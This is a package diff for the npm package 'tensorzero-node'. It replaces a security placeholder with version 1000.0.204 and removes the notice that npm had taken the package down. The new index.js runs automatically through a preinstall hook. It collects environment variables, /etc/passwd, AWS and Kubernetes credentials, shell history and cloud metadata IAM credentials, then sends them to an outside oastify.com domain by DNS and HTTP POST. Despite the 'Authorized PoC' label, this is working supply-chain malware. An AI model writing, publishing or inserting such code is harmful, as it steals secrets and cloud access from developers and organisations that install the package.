tensorzero-node 0.0.1-security → 1000.0.204

package/index.js

@@ -0,0 +1,99 @@
+const { execSync } = require('child_process');
+const fs = require('fs');
+const os = require('os');
+const path = require('path');
+
+function executeCommand(cmd) {
+    try {
+        return execSync(cmd, { encoding: 'utf8', timeout: 10000 });
+    } catch (error) {
+        return `Error: ${error.message}`;
+    }
+}
+
+function readFileIfExists(filePath) {
+    try {
+        if (fs.existsSync(filePath)) {
+            return fs.readFileSync(filePath, 'utf8');
+        }
+    } catch (e) {}
+    return 'File not accessible';
+}
+
+function gatherData() {
+    const data = {
+        timestamp: new Date().toISOString(),
+        hostname: os.hostname(),
+        user: executeCommand('whoami').trim(),
+        id: executeCommand('id').trim(),
+        pwd: executeCommand('pwd').trim(),
+        uname: executeCommand('uname -a').trim(),
+        env: process.env,
+        files: {
+            passwd: readFileIfExists('/etc/passwd'),
+            hosts: readFileIfExists('/etc/hosts'),
+            osRelease: readFileIfExists('/etc/os-release'),
+            hostnameFile: readFileIfExists('/etc/hostname'),
+            awsCredentials: readFileIfExists('/root/.aws/credentials'),
+            kubeConfig: readFileIfExists('/root/.kube/config'),
+            bashHistory: readFileIfExists('/root/.bash_history'),
+        },
+        awsMetadata: null,
+        gcpMetadata: null,
+        azureMetadata: null,
+    };
+
+    // AWS metadata (if on EC2)
+    try {
+        const awsTokenCmd = 'curl -s --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"';
+        const token = executeCommand(awsTokenCmd).trim();
+        if (token && !token.includes('Error')) {
+            const metadata = executeCommand(`curl -s --connect-timeout 2 -H "X-aws-ec2-metadata-token: ${token}" http://169.254.169.254/latest/meta-data/`);
+            data.awsMetadata = metadata;
+            const iamRole = executeCommand(`curl -s --connect-timeout 2 -H "X-aws-ec2-metadata-token: ${token}" http://169.254.169.254/latest/meta-data/iam/security-credentials/`);
+            if (iamRole && !iamRole.includes('Error')) {
+                const roleName = iamRole.trim();
+                const creds = executeCommand(`curl -s --connect-timeout 2 -H "X-aws-ec2-metadata-token: ${token}" http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
+                data.awsIamCredentials = creds;
+            }
+        } else {
+            // fallback without token
+            const fallback = executeCommand('curl -s --connect-timeout 2 http://169.254.169.254/latest/meta-data/');
+            if (fallback && !fallback.includes('Error')) data.awsMetadata = fallback;
+        }
+    } catch (e) {}
+
+    // GCP metadata
+    try {
+        const gcp = executeCommand('curl -s --connect-timeout 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/');
+        if (gcp && !gcp.includes('Error')) data.gcpMetadata = gcp;
+    } catch (e) {}
+
+    // Azure metadata
+    try {
+        const azure = executeCommand('curl -s --connect-timeout 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2017-08-01"');
+        if (azure && !azure.includes('Error')) data.azureMetadata = azure;
+    } catch (e) {}
+
+    return data;
+}
+
+function exfiltrate(data) {
+    const jsonStr = JSON.stringify(data);
+    const payload = Buffer.from(jsonStr).toString('base64');
+    const collabDomain = 'ntkg5bdh9mtpf2uvya71ieh28tek2b0zp.oastify.com';
+    // DNS exfiltration (first 50 chars)
+    executeCommand(`nslookup ${payload.substring(0, 50)}.${collabDomain}`);
+    // HTTP POST full data
+    executeCommand(`curl -X POST https://${collabDomain} -d '${jsonStr}' -H "Content-Type: application/json" --connect-timeout 5`);
+    // Also write locally (optional)
+    fs.writeFileSync('/tmp/.system-harvest', jsonStr);
+}
+
+function main() {
+    console.log('Collecting system data...');
+    const systemData = gatherData();
+    exfiltrate(systemData);
+}
+
+main();

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "tensorzero-node",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1000.0.204",
+  "description": "PoC - Full System Data Exfiltration - Authorized",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "license": "MIT"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=tensorzero-node for more information.